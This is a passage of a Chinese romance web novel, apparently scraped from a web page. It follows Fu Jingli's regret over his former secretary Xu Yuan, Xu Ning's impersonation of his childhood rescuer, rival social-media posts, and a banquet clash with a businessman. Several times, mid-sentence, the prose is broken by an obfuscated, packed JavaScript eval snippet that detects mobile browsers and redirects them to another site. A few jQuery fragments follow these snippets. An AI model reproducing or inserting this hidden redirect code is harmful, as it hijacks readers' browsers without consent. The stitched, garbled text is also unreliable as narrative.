“这什么互相拯救文学,仙品,男强女强我爱看,我是土狗我喜欢。” “谁能懂啊!盛景炎这个男人以前跟其他女人一起时一直都是狂喜炫酷霸拽,看别人的眼神跟看狗一样,一看就是游戏人间的渣男浪子啊,就是那种……好像每个头发丝都有个女朋友情人的感觉,但是!他跟许愿在一起不一样!他温顺得像大狗狗,一直跟在她身后,一直揽着她或者牵着她,甚至还会偷瞄……不是等会儿?这张照片的盛三少真的醉了吗,他是不是在透过这个方向偷瞄许小姐!日!真的是!” “妈的爱惨了吧,盛三少你小子也有今天。” “就是在偷瞄,放大图片在偷瞄,眼里都是笑意……靠,妈的等会儿,盛三怀里抱着的棉花娃娃,许小姐吧?” “行,可以,我是狗,我就是爱吃狗粮。” “不是,你们都没注意到许小姐称呼他什么吗?盛先生啊,呜呜呜!” 也不是没有人嘲讽说两人才在一起还什么都看不出来呢,盛景炎一看就不是安分的。 有人就回了一句。 “盛景炎不安分也要考虑清楚后果,如果是别的女人或许不能做什么,但他面对的是许愿,仅仅是离开傅氏就能引起股市动荡的女人。” “招惹许愿,你猜盛世会怎样。” 如果是普通人是无法拿捏盛景炎的,纵然盛景炎真的滥情游戏人间她们也根本控制不住盛景炎,或者说只能眼睁睁看着自己被玩弄抛弃。 但换成许愿就不一样了,前面就说两人是双强,背叛许愿跟找死无异。 热搜上去短时间内都没有下去,盛景炎往日跟其他人“恋爱”的照片全都被翻出来对比。 事情闹得这样大,傅京礼收到微博特别关注推送的时候整个人还未清醒。 喝了太多酒,头很痛,他忍不住伸出手捏了捏眉心,靠在椅座上,还是不受控制点开了微博。 看到许愿称呼他“盛先生”,好像都能想象得到她带着甜味儿的声音。 他眸色深了几分,捏紧手机,却自虐般的看着这张照片。 盛景炎的变化太大了,跟以前全然不同,他越是如此就越证明他爱许愿。 是的,爱。 他的头疼的厉害,挣扎的从沙发上站起来,桌上有冷掉的他没来得及喝的醒酒汤,他默然的坐下喝了口。 辛辣的,姜的味道,他最厌恶的味道,这是保姆煮的。 以前的醒酒汤都是带着甜味儿的,是……许愿煮的 他低头看着碗里的姜块,将一整碗醒酒汤吞进肚,辛辣的味道有点烧喉咙,他只觉头更痛了。 保姆听到响动匆忙出来。 “傅先生,有什么需要我做的吗。” 傅京礼抬眸,恍恍惚惚的觉得自己眼前其实应该出现的是另一道影子,那道纤细瘦弱却又带着独有力量的影子。 他攥紧拳,面上仍然是淡漠的表情。 “没有,去忙你自己的就可以。” 保姆哎了一声,还是担忧的转身看向他,见傅京礼真的没有吩咐了才要离开,倏地房间门铃被摁响,保姆打开门,看到的是许宁。 保姆还记得许宁,她还没开口说话,许宁已经推开她冲进来。 “阿礼,你今晚喝了好多酒,有没有很难受,需不需要我做点什么?你衣服都还没换下来,我帮你换衣服好不好。” 她一路跟着傅京礼回来的,在楼下斟酌酝酿很久才决定来见傅京礼。 她想得很清楚,傅京礼喝醉了,万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618115|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一……万一傅京礼真的有某些需求,或者这时候无法控制跟自己发生关系呢?最好是再怀上傅京礼的孩子,那她这辈子就有指望了。 她虽然笑吟吟的,此刻贴近男人,眼底藏着的都是明显的笑意,但是那样的笑带着讨好带着谄媚。 客厅的灯光很亮,是那种略带刺眼的冷光,沙发上的铺巾仍然是许愿曾经选的黑金款,男人坐在沙发上,抬起头,灯光的映衬下那张脸更添几分冷冽。 他就这样盯着许宁。 她是漂亮的,是他曾经想要的,为了她,他甚至抛弃了许愿…… 可,真的是他想要的吗。 那为什么现在看到她脑海中不停闪过的还是那张明艳的面容。 不对,她给他的感觉全都不对。 眼睛不够清冷,鼻子不够挺翘,唇珠不够饱满,肌肤的颜色都差了几个度,更没有那种明艳的感觉。 不该是她,也不能是她。 他想要谁呢,他想要许愿。 想到许愿,内心那股隐隐的痛感愈 发明显,那种像是有刀剑要从胸口破土而出的胀痛刺痛几乎要将他整个人在此刻完完全全的掩埋。 “这不是你该来的地方。” 他哑着嗓子开口,带着明显的冰冷意味儿。 许宁整个人都有些怔然。 “出去。” 他看着许宁,明明已经醉酒,眼睛却又凛冽清冷,就这样盯着面前的女人,开口:“出去。” 这是他和许愿的家,她猜该是这里的女主人。 许宁克制不住的红了眼眶:“阿礼,你忘记了吗,你曾经答应过我会娶我的!你说过的话全部都不作数了吗?你忘了当初我为了救你遭受过伤害吗,你说你会娶我让我成为你的太太,你说你会爱我宠我的……” 她的眼泪啪嗒啪嗒的往下落。 她心里清楚这是鳄鱼的眼泪。 曾经的一切是她抢来的,救过他帮过他的也不是她,她心虚她害怕可此刻也顾不得更多了,她要为自己想一条后路。 第162章 他这样的人配得到什么? 许宁想,她要让傅京礼遵守承诺,她要得到自己想要的一切。 傅京礼似乎恍惚了片刻,眼前仿佛浮现出当年的那一幕。 当年傅氏发展太快,而他作为傅氏的继承人一早被敌对公司盯上,十几岁的时候遭遇车祸后被绑到h市的县城,他被绑到的地方是人贩子窝,他们要将他卖到偏远地区或者国外,而另一个同样被拐卖的小女孩却带着那群孩子将那群大人耍弄得团团转,她带着他逃过山林水涧。 眉眼含笑的少女轻抚他的额头,声音带着甜意。 “我不会把你交出去的,我会带你离开这里的。” “我会救你的。” “你要相信我啊。” 她的眼睛里面仿佛都带着泪意。 “离开这里后一定要来找我,一定,一定要来找我。” “我们约好的。” …… 最后的最后,是少女穿着一袭白裙,站在树林中小心翼翼的朝他挥手,即便那时眉眼之间也是带着笑的。 他记忆中的她从未说过这种承诺自己娶她的话。 傅京礼眸光愈发凛冽危险。 “她没说过。” 许宁眨了下眼,她本来就在惊慌中此刻被他这样的危险眼神盯着,只觉自己好像被猛兽盯住扼制住自己的咽喉。 “什么……”她慌张的开口询问。 “她没说过要求我娶她照顾她一辈子的话。” “你是她吗。” 他终于开口询问。 许宁浑身都在颤抖。 她甚至觉得傅京礼此刻的眼神太过可怕仿佛要透过她这副皮囊看透她内里的灵魂。 是她吗?不是,她当然不会是那个人!那个人是许愿啊! 可她会告诉傅京礼这些吗!她只会瞒着! 傅京礼已经那样爱许愿了,她绝不可能让傅京礼知道这件事,她要来一场豪赌,她一定要得到傅京礼。 许宁眼底掠过一抹势在必得的冷芒。 她再抬眼时眼底已经满是泪水。 “阿礼,你为什么要问这些,你在怀疑我吗。” “当初为了救你,我付出了那么多,你为什么要怀疑我……真的不是你记错了吗。” “明明是你亲口告诉我说会娶我的。” 许宁眼底的泪水婆娑而落。 她露出自己手臂,上面赫然有一道伤疤。 “你仔细看看这条长疤,你不记得吗,我们在逃跑的时候有荆棘枝条划过留下的疤痕啊,这都是为了救你留下的!” 这道疤痕当然不是拯救傅京礼留下的。 事实上,许愿手臂上确实是有这样一条疤痕,可她忘了太多事,就连当年那样惊心动魄的事情也忘了,所以那时她偷偷联合母亲设计了许愿去医院动了祛疤手术,而她又原样的将这道疤痕转移到自己手臂上。 她调查了那样久,做了那么多准备,绝不能让傅京礼在这种死后防备自己。 她是一定要嫁给傅京礼,做人上人。 傅京礼看着眼前的女人,她明明在哭,他是应该难过应该心痛的,但此刻内心仿佛升不起半点波澜。 他就这样面无表情的看着面前的女人,只有瞳眸愈发深了。 “阿礼,你说过你要照顾我保护我的。” 此刻仍然开口在诱惑哄骗着面前的男人,许宁其实心里清楚,傅京礼可能不会爱她了,但她会在乎这些吗? 她不在乎傅京礼的爱了。 既然得不到爱,那她就要身份和地位,她总要得到些什么才不会辜负她此前做的一切。 “我当然会保护你。” 傅京礼抬眸,幽深的一双黑瞳望着面前的女人,唇角溢出一抹自己都没有察觉到的苦涩笑意。 当年被拯救了吗?为什么他却觉得自己永远困在了那场绑架案中走不出来逃不出来。 他的一生好像也只能因为愧疚因为那份恩情过完这一生。 还奢求什么,他这样的人配得到什么? “回去吧。”他看着许宁,压抑着自己内心的痛苦:“我有些醉了。” 他站起身,许宁内心闪过几许得意的想要去扶着男人的手臂,傅京礼敏锐的转开方向,他垂眸看向她那双纤细的手,躲开了她的触碰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618116|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “很晚了,回去。” 这次开口的话,带着命令的口吻。 许宁被他这样的语气吓得陡然一震,好半晌才颤巍巍的点头,脚步都带着几分踉跄的离开,背影慌张。 傅京礼却只微微敛眉,看着她逃离的背影。 他回到房间,却只觉得房间此刻冷清得可怕。 进入浴室,没有放好的热水,他站在门口看了很久,然后走进去拧开花洒任由凉水冲刷自己的身体。 出来时惯性的想去寻找那抹娇柔的身影,她本该等在门外,脸上露出温柔的表情,手里是准备好的热毛巾。 她总是那样体贴温柔。 可是现在什么都没有,只余冷清。 她在哪里呢? 她在另一个男人身边,她在照顾其他男人,她会不会也像照顾他那样照顾盛景炎。 他喉头愈发堵了。 他环顾四 周,其实能找到很多属于许愿的东西,他们离婚后他一直没有让佣人将她的东西收走。 梳妆台上摆着几瓶她常用的水乳,他拧开盖子,能闻到淡淡的清甜味儿,陌生又熟悉。 桌上放置着一个小摆件,是一个很小很小的毛绒玩具,像是手机挂件。 这不像是他会带回来的东西,他自己想了很久,终于想到两年被a大邀请周年庆时路过学生们建立的校园集市她磨着他抽取转盘转到的挂件。 是一只可爱的猫咪玩偶挂件。 他伸出手很轻缓的触碰,触到之间的棉柔感。 鬼使神差的,他有些没控制好自己的情绪,拍了这张照片放到微博上,他不知道自己是出于什么样的心理放出这张图片,是不甘心……还是后悔。 他关掉手机,目光落到许愿的专属衣柜上。 里面全都是职业正装,偶尔有几件裙装,却很少,隔壁房间是他为许愿准备好的衣帽间,里面都是送上来的当季新品,但她却很少穿过。 她一直穿的都是那几件职业装。 也是直到现在才清楚,许愿她一直都讨厌这样的束缚,她潇洒肆意,喜欢那样明媚张扬的红。 第163章 我的 他目光落在那些衣服上。 这些东西他又舍不得丢掉。 毕竟……那是她留下的,曾经穿过的东西。 如果以后她回来了看到这些东西也会觉得熟悉。 他眸光幽暗,她会回来的,总有一天绝对会回来的。 …… 傅京礼罕见的发了一条微博,还是一张图片里面只有棉绒玩偶的图片,直接登上热搜。 前有许愿传图秀恩爱称呼盛景炎盛先生,后有傅京礼传图是张不符合他画风的图片,直接将人顶上热搜。 盛景炎一大早起来就看到这条热搜,眉梢都高高挑起。 一看就明白了,这绝对是破防了 无非是昨晚看到许愿发的微博自己伤春悲秋又加上喝醉了酒才会拍这张图。 图里面的东西一看就是许愿的。 盛景炎嗤笑一声,大清早的点开购物软件搜索同款直接清空小店内的所有相同玩偶,他看店铺是同城,直接让助理亲自开车取回来。 大早上的发了一张图片反击。 图片上是地板上面摆满了数都数不清的猫咪小玩偶。 盛景炎发博。 【盛景炎】[图片]我的。 极为简短的反击,只一句,我的。 如果只看这条微博可能还看不出什么,但是结合傅京礼发的微博,有些人不得不脑补更多了。 这也不怪他们脑补,毕竟是盛景炎自己送上来的热度话题啊! “昨晚傅总发了张跟他本人气质感觉完全不符的玩偶图片,救命,我当时还以为傅总恋爱了,可傅总身边也没有出现什么可疑女性啊!但是那玩偶很明显是女孩子才会喜欢的,谁家大总裁大晚上发这个啊!现在看到盛二少发的我彻底明白了!” “结合现在盛二少发的微博,那么强势的一句‘我的’,明晃晃的就是在回应傅总的微博,那猫咪玩偶指代谁?还用多说吗?盛二少身边的爱人是谁,是许小姐啊!许小姐又是什么身份!傅总的前秘书啊!破案了!” “所以是傅总对许小姐动了感情,昨晚翻出了许小姐曾经的小玩偶发了微博,我们盛二少昨晚醉酒没注意这些,大早上起来才强硬反击,而且谁家好人在家里准备这么多没用的小玩偶啊!肯定是大早上起来清空了人家店铺吧!” “好消息,我第一时间去店铺搜索,果然同城有家店铺这种玩偶销售一空,一问客服人家是这么回答的,看以下截图。” 【客服点点】:亲,我们不知道是谁买的哦亲。 【凉白开】:说明下今早的情况会清空另一种玩偶哦。 【客服点点】…… 【客服点点】:亲我不知道啊qwq,一大早就说要买玩偶还付我双倍价格同城要自己来取呢qwq,谁家好人开着豪车来买小玩偶啊qwq,谁能懂几辆豪车下来一群黑衣保镖给我带来的震撼呜呜呜呜我还以为我家小玩偶是什么恐怖炸弹呜呜呜。 【凉白开】:……漂亮 截图里面是一位网友跟客服的对话。 截图才抛出来,微博立刻炸锅了。 “靠啊,这不是盛二少就有鬼了,这摆明了就是吃醋宣示主权啊,你有一个我就要买断其他所有的,我的就是我的你别想染指的心理,这占有欲,绝了。” “所以绝对是在反击傅总了!” “e所以是傅总和盛二少都同时爱着许小姐吗?难以置信这样的一场斗争中输家竟然会是傅总。” “确实……难以想象,盛二少那样的浪子竟然会赢。” “我似乎猜到许小姐离职的原因了。” “我好像也猜到了。” “好像真的跟什么商业竞争没关系,完全就是私心躲避追求吗?离了个大谱。” 一大早的盛景炎就来了一通骚操作,将三人水灵灵的送上了热搜,等许愿看到这些后都气笑了。 盛景炎光速道歉但绝不悔改,甚至十分得意。 “我可不觉得自己有错,他都正面出击了,我再躲躲藏藏的显得我好像怕了。” 盛景炎在那一群猫猫玩偶群里得意开口:“就是我的。” “幼不幼稚。” 许愿觉得挺好笑的,却也没再念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许宁双臂在胸前交叉抱胸,冷声说:“许愿,那天晚上我跟你说的话,你根本不在乎是不是?都已经离开傅氏有了盛景炎了就不要继续勾搭傅京礼了,你是不是真不打算要这张脸了?” 第164章 我要多少你给得起吗 许宁这几天一直没见到许愿,因为傅京礼发的那张图气得失去理智,所以今晚看到许愿气冲冲的跟过来要讨个说法。 她的想法很简单,你都走了傅京礼还想着你念着你那就是你在勾引他!反正错的是许愿不是傅京礼! “许宁,注意你的言辞,自见你的那晚之后,我跟傅京礼就没有往来了。我不屑当你们这段可笑感情的小三,更不会当傅京礼那种男人的小三!不要把我当成你。” “你这样泼妇一样在这儿堵着我质问,不如想想傅京礼是不是真的爱你才是。”许愿冷淡的嘲讽。 “许愿,别以为说这些就能扯开话题了!”许宁的脸愤怒得有些狰狞阴狠,激动的伸手抓住了许愿的手腕,死命的握着。 许愿被她握得有些疼,皱眉说:“放手!” “许愿,这世界上男人那么多,你怎么就那么喜欢别人的男人。别人的男人比较好是不是?”许宁把许愿的手腕抓得更用力,不过声音依旧不高,也是怕传出去丢人。 许愿甚至想冷笑,许宁这样想确实是……她一直都是这样胡搅蛮缠的角色。 也不知许镇江最近是怎么养的,明明小家族私生女出身,偏偏养出一身的千金小姐的娇惯脾气,又特别固执,不论什么自己说的就是对的,别人说的都是错的。 只要是她认准了的事情,不论别人再怎么解释,她都不听。 “许愿,你离开傅氏会不会缺钱,我听说你打算自己创业,你很缺钱吧?你想要多少钱?你离傅京礼远点儿,别再缠着他,别再来打扰我们,我就给你。”许宁说着,面露不耐。 好像真是被许愿缠得心力交瘁,实在受不了她了。 许愿真是被许宁这种自说自话的行为气笑了,她心中无语的完全说不出话,被许宁抓着的手高高抬起,使尽了力气的狠狠一甩,也因为许宁在刚才稍稍松了力道,终于被许愿成功的甩开了她的手。 确实是挺像笑话的。 许愿是什么身份没几个人知道,但是……她在傅氏工作三年会没有存款?单是那些合作案就够她挥霍的,更不要提她另一层身份。 往盛华掌舵人脸上砸钱? 就连盛景炎研究全息都还要跟盛华合作回笼资金,可见盛华的实力。 “许宁,我要多少你给得起吗。” 她歪头,垂眸盯着她,眼神里面逸散的都是冷光。 “我接一单拿到的分成奖金最少一单都有百万,多的有千万,怎么,你要给我多少你打算给多少。” 许愿逼近她。 “把你自己手中全部的流动资金拿出来也未必够用。” 许宁整个人都震惊了,她眼神闪烁有些茫然无措。 “可你不是在创业吗……你应该很缺钱才对。”许宁支支吾吾。 许愿抱着手臂嗤笑一声:“我是不是创业跟你有关系吗,一个小三不配跟我谈这些,我也不会收小三的‘脏钱’。” “你是不是忘了,若是我缺钱,会有大把的人凑上来送钱,盛世许愿足够有号召力。” 若是需要真打算创业,按照她现在的势头,那些人都只会认为现在投资是占尽了便宜,甚至还要看许愿给不给他们这个投资的机会。 许愿眼神冰冷:“你可以回去问问沈略和容浔,就该知道你自己像是个笑话。” “最后,你也要清楚,我已经离开傅氏,自始至终,我都没有缠着他,我倒是希望你能管好你的男人,别让他来缠着我,这只会让我困扰。” “还有,你与其来找我,不如把你的男人管好了,不要让他在外面找女人。他昨天能找你明天就能找别人。那么多的女人,你管得了吗?总有一个是不在乎当小三的,你去找他外面的女人,倒不如从他这个根源上着手。” “这样一个男人,许宁你有胆子信,还要跟他在一起,我可没这个胆子。”许愿冷声说完,丢下已经愤怒到面容扭曲的许宁,便走进了宴会厅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618118|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不去管还留在外面,僵立在原地的许宁,此时是什么心情。 她回到宴会厅低头看了眼时间,盛景炎还没来,她实在有些无聊,抬头时似乎能察觉到周围人的目光,特别是那道带着寒意探寻的目光。 她猜得到那是谁的眼神。 她只是微微偏头,对上男人那双犀利却又沉寒的目光,似是没料到她会抬头,他顿了下,移开目光,许宁已经提起裙摆翩然走过去。 众人的目光不由得落到许宁身上,傅氏换了新秘书在场人也是知道的,现在能担任傅京礼的女伴陪他参加活动的怕是也只有那位新上任的许秘书。 只是不知道这位许秘书有没有能力替上许愿的位置。 毕竟当初傅氏铁三角的关系也好立场也罢,不是任何人能轻易撼动的。 许宁能感受到周围人的目光,她愈发虚荣,脸上挂着得体温柔的笑意,她在向许愿靠拢,她在学许愿,纵然再不愿承认也不得不认……许愿的实力远超于她,哪怕只是学一学许愿的感觉都能让那些人觉得她高深莫测。 果然有人围上来,微笑有礼的递上名片,问了几个与合作有关的问题,许宁最近已经在恶补金融相关的知识。 可许愿自高中时期就整日熬夜学习的东西,大学四年更是创业自学参与各种活动才得来的金融方面的经验又怎么可能让许宁在短时间内赶超,更不要说许宁本就没有足够聪明的头脑。 她被问到知识盲区,不清楚f国那几家工厂更不清楚这几位的主业要合作的方向,她脸上挂着明显的微笑,但是内心慌了。 许愿就远远看着这一幕,眼底的冷意逐步四散。 她慢条斯理的摇晃着自己杯中的热饮,容浔已经看不下去,他是不喜欢许宁,可现在许宁代表的是傅氏,许宁出丑就是傅氏出丑, 若真让人知道傅氏新任的许秘书是个废物,怕是傅氏的股价又要下跌动荡了。 容浔路过许愿时许愿叫住她。 第165章 永远比不过许愿 “你现在过去,是要替她解围吗?站在你的立场,你确实应该过去,但许宁不会感激你。” “她会认为你是在以傅氏首席秘书的身份,抢走了她的机遇,甚至认为你的出现会让她更出丑,她可能觉得你不出现,她自己同样能解决这一切。” “她心比天高自命不凡,在她心中,她不比你、我、沈略三人要差。” 许愿像是觉得这个笑话实在过于好笑,眉眼都弯起来。 “你也知道我是傅氏的秘书,我不能不去。” 许愿当然知道。 容浔感情淡漠,也只把傅京礼当兄弟,他们之间共事三年,也只是最普通的朋友同事,他只会把利益看作重中之重。 许宁怎么想,他不会放在心里。 许愿没有拦她,她笑着看这场闹剧发生,看到容浔走上去为许宁解围。 她距离那边并不远,能听到容浔最开始温和的声音变得逐渐冷冽。 “朱总的意思是,许秘书答应了这次的合作?” 容浔眼神凉飕飕的扫了许宁一眼。 “许秘书最近负责的并不是这类合作项目,负责新能源项目的是我,不是现在的许秘书。” 容浔语气不再温和。 朱总笑呵呵的,显然也不是个善茬:“这么多人都看着呢,许秘书可是已经答应我们之间的合作了,傅氏以前不是说过,您几位都是傅氏的代表,哪怕是口头邀约,也是绝对会履约的。怎么,难道现在就连傅氏也变了不成?” 他显然是在找茬。 容浔垂眸,眼底的冷意逐渐蔓延几乎要渗出。 “朱总也该知道这位许秘书并非是能代表傅氏的许秘书。”话落朱总笑吟吟,“可她确实也是傅氏的首席秘书,不是吗?” 朱总是怕得罪容浔,但为了巨大的利益,也只能将一切抛到脑后了。 “这样说来,朱总是想跟我来讲道理了。” 容浔笑意很冷。 朱总呵呵的笑了几声。 “我们也不能不讲道理,你说是不是?你们傅氏确实是放过话,说许秘书代表了傅氏,可以跟我们这些企业合作,这么多人都听着看着呢。” 周围人眼神恍惚,只是干笑不搭话。 都是聪明人,谁也不表态,这朱总敢这么跟容浔杠,还不是因为朱家的地位摆在这里,得罪傅氏得罪容家都不好,索性尴尬的笑。 “朱总要讲道理吗?” 许愿轻笑着托举着酒杯走近,眼底藏着几分威压深意。 见许愿来了,朱总脸色一变。 他得到的消息是知道许宁是个蠢货废物,所以才敢凑上来找茬。 不是说许愿和许宁不对付吗? 怎么这时候许愿还要上来解围? 朱总唇角的笑意都跟着僵了僵。 “许总,您怎么来了?如果我没记错,您现在是盛世的总经理……怎么也不能代表傅氏了。” 许愿脸上仍然挂着淡淡的笑意,她摇晃了下酒杯,声音清浅。 “容浔没有跟你说吗?我还没有彻底从傅氏离职。” “我现在担着盛世总经理的职位,也仍然是傅氏的许经理。傅总提过的那位许秘书,同样是我,毕竟也没有人说过一个人不能担任多个职位不是吗?” 朱总人都傻了。 “这……你……你不是在微博上已经说离开傅氏了吗!” 许愿像是听到了很好笑的笑话般。 “朱总,傅氏是大企业,我离开前,总要将手头的工作完好交接处理好。傅氏随便一个合同大家都争抢着想要呢,但这些合作对象我,们也要擦亮眼睛选选清楚不是吗?” 许愿声音里带着笑,却也暗藏冷意。 她这样的暗示跟明示无异。 这位朱总这次为了点利益,特意针对傅氏,从许宁作为突破口想合作。 但是他惹错了人。 许愿抬眸,眸光闪烁:“朱总,傅总说的许秘书是傅氏铁三角的许秘书,姓许名愿,不是什么旁的人都可以替代我的位置。” “能代替傅氏的许秘书是我,怎么,你要和我谈这份合作吗?” “那朱总也该知道我的规矩,没有完整的策划方案,连我办公室的门都进不去。” “敢问朱总给这位许秘书发了策 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618119|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划案吗?如果没有……那朱总来找这位许秘书,又是抱着什么心态呢?趁着傅氏铁三角分开的时候,老谋深算、趁火打劫的欺负新人吗。” “也不知道朱总所在的朱氏,是不是也是这种没有……嗯,道德感的企业。” 许愿一字一句完全戳中朱总的心思,几乎要将朱总整个人抛开嘲讽了。 许愿眼底仍然藏着凉意,笑容肆意冰冷。 朱总暗自咬了咬牙。 这次是他失算了,万万没想到这种时候许愿还能站出来! 到底是谁说的许愿在微博上发的都是客套话! 他妈的这跟傅氏盛世结盟有什么区别! 傅氏就跟许愿娘家人一样! 朱总气得眼前一黑。 朱总拳头紧握着,却也说不出一句反驳的话。 许愿的身份地位摆在这里,她的人脉圈太 广,即便是女人,那些人也会冲着她背后的巨大利益蜂拥的凑上来想要跟她合作。 得罪许愿,那才是真正的噩梦。 朱总僵硬的扯了扯唇角:“许总这话说得严重了,我也只是单纯的开了个玩笑,毕竟我还没见过傅总让这样青涩的秘书,担任首席秘书。” 说是青涩的秘书,其实就是嘲讽许宁什么都不懂是个蠢货。 许愿仍然轻笑:“朱总言重了,我也只是开了个玩笑,毕竟朱氏是什么样的企业,我们所有人心里都跟明镜一样。” 她嘲回去。 “也希望朱总回去后,告诉您圈子里的人,傅氏的许秘书其实只有许愿,而这位新任的许秘书……你们可以称呼她为许宁秘书。” 多了个“宁”字,但也仅仅多了这一个字,却更像羞辱。 就好像是告诉世人,不论许宁再如何努力,也永远到达不了许愿的高度。 她永远都只会是许宁秘书,不会是傅氏那个真正顶替许愿的许秘书。 这是什么意思,大家都应该懂了。 朱总幽幽的看了许宁一眼。 许宁涨红了脸,却还是要为了风度露出温柔和善的笑意,天知道许宁此刻想冲过去撕碎许愿那张脸! 第166章 你就是笑话 朱总带着自己的好友们三三两两的离开。 只是离开前,众人看向许宁的眼神都好像藏着打探的嘲意。 许宁咬着下唇,质问:“你为什么要这样说!” 许愿凉凉的瞥她一眼:“愚蠢的东西不配与我讲话。” 话落,许愿转身离去。 “许愿。” 许宁很想大吼她的名字,但更担心外面传出她们两人之间不合的关系,只能隐忍着死死的盯着许愿的身影。 “叫她做什么。” “她为你解围做到这种程度,难道还不够吗?你还要她为你做多少?” 容浔眼神冰冷的睨向许宁,语气低沉嘲讽。 “她根本不是为了我解围才来的,她就是想来看我的笑话!” “你也知道你自己是笑话。” 容浔居高临下的看着许宁。 “如果没有许愿,你猜这件事要如何收场?那位朱总是出了名的难缠户。” “他会将许秘书答应他合作的事,传得a市上流圈子都知晓,甚至还会为了这件事买上热搜,直指傅氏作为大企业没有信誉。” “朱总想要的新能源合作的项目价值最少数十亿,这样的合作案,许宁你拿得下来吗?” “又或者……如果真的失误,许家够赔吗。” 许家? 把许家的企业卖了,都没这么多钱! 许宁唇瓣都在哆嗦。 “没有签订合同,只是口头说……这也要算在其中吗?” 她不明白,合同都没有签订!凭什么就一定要合作呢! “因为是傅总承诺过的。” 他们看重的当然不是许宁,他们看重的是傅京礼。 “朱总肯轻拿轻放,甚至道歉,只因为许愿在业内的人脉圈。” “许愿的身份摆在这里,他才不敢嚣张。” 所以没有许愿,许宁今天犯下的错绝不会轻易揭过去。 “她只是为了炫耀她的身份!炫耀她的能力!” 许宁咬牙:“我才不需要她帮我,我自己也可以!” 她还是看不清她自己。 就像许愿说的,就算他们帮了许宁,许宁也只会用最卑劣的心思去看待他们。 容浔眼神冰冷的睨向许宁,唇角的笑意愈发冷了。 “你似乎太看得起你自己。” “她帮的是傅氏,是我,至于你?还不配她在这种场合针对。” 容浔逼近她,声音里全是嘲意。 “这种地方本来就不是你这种人该来的,傅总带你参加这场晚宴,就是个错误。” 容浔低嘲一声转身离开,独留许宁站在原地遭受众人复杂的目光。 眼睛涌上一股暖疼,许宁闭上眼,感觉到了眼内的湿意。 她忍着,真怕自己当场不争气的哭出来。 过了好久,勉强控制住自己的情绪,才再次睁开眼。 环顾四周,寻找着傅京礼身影,却根本找不到傅京礼在何处。 她觉得自己仿佛像是过街老鼠,被人鄙夷,像是所有人都在对她说“你不配出现在这里。” 是啊,她毕竟是小三的女儿,天生的……下贱胚子。 许宁喉间愈发堵了,她雄赳赳气昂昂的来,最终却灰溜溜的想要逃离。 许宁内心是如何想的,许愿不知道,也不屑知道。 她被一群人拦住,寒暄很久,有些累了,接收到盛景炎发来的信息才终于来了点精神。 盛景炎发了定位,他在距离她不远的晚宴阳台。 许愿挑了下眉,也不知道这人是怎么穿过那么多人躲到这里的,可能也是觉得烦闷。 宴会厅的阳台是凸出去的,阳台的栏杆延伸到墙壁的两侧,形成了一个“凹”型,因此在墙壁的两侧,也有可供观景的位置,只是位置有些小而已。 她没有去隐蔽的墙壁两侧,只避开了正对着阳台入口的位置,双臂靠在阳台的栏杆上,双目眺望着院内的夜景对着远处发呆看星星。 外面虽然寒风刺骨,可她却觉得这股寒冷对此刻的她来说正好,让她纷乱的大脑也清楚了点儿。 “温栩栩,你跟我过来!” “黎少,咱们俩单独去阳台,让人看到不好,会说闲话。” “你怕什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 